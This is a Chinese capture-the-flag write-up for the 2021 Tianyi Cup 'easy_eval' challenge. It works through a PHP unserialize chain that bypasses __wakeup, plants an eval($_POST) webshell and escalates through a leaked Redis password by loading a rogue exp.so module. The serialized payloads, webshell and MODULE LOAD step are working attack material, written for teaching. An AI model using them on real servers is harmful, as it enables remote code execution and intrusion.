[天翼杯 2021]esay

[天翼杯 2021]esay_eval

<?php
class A{
    public $code = "";
    function __call($method,$args){
        eval($this->code);
        
    }
    function __wakeup(){
        $this->code = "";
    }
}

class B{
    function __destruct(){
        echo $this->a->a();
    }
}
if(isset($_REQUEST['poc'])){
    preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);
    if (isset($ret[1])) {
        foreach ($ret[1] as $i) {
            if(intval($i)!==1){
                exit("you want to bypass wakeup ? no !");
            }
        }
        unserialize($_REQUEST['poc']);    
    }


}else{
    highlight_file(__FILE__);
}

代码审计

给了两个类A和B

A类下有一个公有属性code，call函数和wakeup魔术方法，

B类下有一个一个函数destruct

后面是三个if的判断语句，第一个if判断是isset函数判断request数组中是否有poc参数，

preg_match_all函数用于执行一个全局正则表达式匹配。它搜索与给定主题中的模式匹配的所有匹配项，并将匹配项存储在数组中。

语法

int preg_match_all ( string $pattern , string $subject [, array &$matches [, int $flags = PREG_PATTERN_ORDER [, int $offset = 0 ]]] )

搜索 subject 中所有匹配 pattern 给定正则表达式的匹配结果并且将它们以 flag 指定顺序输出到 matches 中。

在第一个匹配找到后, 子序列继续从最后一次匹配位置搜索。

参数说明：

$pattern: 要搜索的模式，字符串形式。

$subject: 输入字符串。

$matches: 多维数组，作为输出参数输出所有匹配结果, 数组排序通过flags指定。

$flags：可以结合下面标记使用(注意不能同时使用PREG_PATTERN_ORDER和 PREG_SET_ORDER)：

PREG_PATTERN_ORDER: 结果排序为$matches[0]保存完整模式的所有匹配, $matches[1] 保存第一个子组的所有匹配，以此类推。

PREG_SET_ORDER: 结果排序为$matches[0]包含第一次匹配得到的所有匹配(包含子组)， $matches[1]是包含第二次匹配到的所有匹配(包含子组)的数组，以此类推。PREG_OFFSET_CAPTURE: 如果这个标记被传递，每个发现的匹配返回时会增加它相对目标字符串的偏移量。

offset: 通常，查找时从目标字符串的开始位置开始。可选参数offset用于从目标字符串中指定位置开始搜索(单位是字节)。

接着分析这段代码：preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);

/"[AB]":匹配双引号内的字母B或A，然后是冒号。

(.*?)非贪婪匹配任意字符，并捕获它们。

:匹配一个冒号。

/s 使`.`匹配包括换行符在内的所有字符。

会从$_REQUEST['poc']字符串中查找所有能够匹配的字符，并把所匹配到的字符存储到$ret数组中。

第二个if是检查$ret,是否找到了匹配项，

foreach遍历匹配结果并验证，遍历匹配的值，并转换为整数，判断是否为1

如果有任何值不等于1就会退出脚本，返回:you want to bypass wakeup ? no !

如果所有值都通过验证，就对$_REQUEST['poc']进行反序列化，

反序列化将字符串转换回PHP变量。

总的来说就是会对传入的参数进行判断，A或B后面是不是为1，是1才可以继续执行，该题又需要绕过weakup魔术方法，A或B后的一定不能是1，就用到php对类名大小写不敏感的特性去绕过

A或B就可以是a和b,使用小写。

就可以构造payload

<?php
class a{
public $code = "";
function __construct(){
$this->code = "phpinfo();";
}
}
class b{
function __construct(){
$this->a=new a();
	}
}
echo serialize(new b());

输出：

O:1:"b":1:{s:1:"a";O:1:"a":1:{s:4:"code";s:10:"phpinfo();";}}

改成：

O:1:"b":2:{s:1:"a";O:1:"a":1:{s:4:"code";s:10:"phpinfo();";}}

绕过weakup魔术方法

传参:/?poc=O:1:"b":2:{s:1:"a";O:1:"a":1:{s:4:"code";s:10:"phpinfo();";}}

进入phpinfo页面

搜索后里面没有flag

换一种姿势，尝试使用一句话木马。用蚁剑连接

构造：

<?php
class a{
    public $code = "eval(\$_POST[1]);";
    
}

class b{
    public $a;
    function __construct()
    {
        $this -> a=new A();
    }
}
$c = new b();
$poc = serialize($c);
echo $poc;

输出：O:1:"b":1:{s:1:"a";O:1:"a":1:{s:4:"code";s:16:"eval($_POST[1]);";}}

构造：/?poc=O:1:"b":2:{s:1:"a";O:1:"a":1:{s:4:"code";s:16:"eval($_POST[1]);";}}

传入成功后连接蚁剑

含有一个config.php.swp文件

是vim泄露，

简述：

当你非正常关闭vim编辑器时（比如直接关闭终端或者电脑断电），会生成一个.swp文件，这个文件是一个临时交换文件，用来备份缓冲区中的内容。

需要注意的是如果你并没有对文件进行修改，而只是读取文件，是不会产生.swp文件的。

意外退出时，并不会覆盖旧的交换文件，而是会重新生成新的交换文件。而原来的文件中并不会有这次的修改，文件内容还是和打开时一样。

例如，第一次产生的交换文件名为“.file.txt.swp”；再次意外退出后，将会产生名为“.file.txt.swo”的交换文件；而第三次产生的交换文件则为“.file.txt.swn”；依此类推。

文件内容：

可以使用Linux命令vi -r config.php.swp来还原文件，使用，ls -al查看文件

但我们直接可以看到内容就不恢复了

内容大概就是：

define("REDIS_PASS","you_cannot_guess_it");

define("DB_DATABASE","test");

define("DB_PASSWOrd","");

define("DB_USERNAME","root");

define("DB_HOST","localhost");

<?php

搜索后是redis,redis就是个数据库，常见端口为6379，常见漏洞为未授权访问。

使用蚁剑的插件redis进行连接

该插件需要科学上网才可以在插件市场下载，不然会一直转圈，加载不出来。

或者可以下载插件源代码。

安装好插件后就可以进行连接

密码是you_cannot_guess_it，在泄露的文件中给了出来。

连接成功，还需要上传exp.so这个文件，下载地址是：

https://gitcode.com/Dliv3/redis-rogue-server/overview?utm_source=csdn_github_accelerator&isLogin=1

长传文件后加载这个文件，使用命令

MODULE LOAD /var/www/html/exp.so

再进行命令执行，ls和cat

总结：

php对类名大小写不敏感特性可以绕过正则匹配。

对weakup魔术方法的绕过，传入的数量比真实数量大就可以绕过。

eval函数

代码：

eval("echo'hello world';");

上边代码等同于下边的代码：

echo"hello world";

在浏览器中都输出：hello world

eval() 函数把字符串按照 PHP 代码来计算。该字符串必须是合法的 PHP 代码，且必须以分号结尾。如果没有在代码字符串中调用 return 语句，则返回 NULL。如果代码中存在解析错误，则 eval() 函数返回 false。

所以这就是本题的危险函数，通过对poc链的构造先尝试传入phpinfo();成功返回该页面后就可以传入一句话木马，再连接蚁剑，但是权限不够，访问不了根目录，查看config.php.swp文件，涉及到vim泄露，还原文件后得知是redis数据库，给了root账户的密码，使用redis插件进行连接，连接后上传一个so文件用来进一步提权，加载该so文件后就可以进行命令执行。

通过搜索该题还有第二种提权方式

使用disable_functions插件进行提权，只需要简单的ls命令,cat命令就行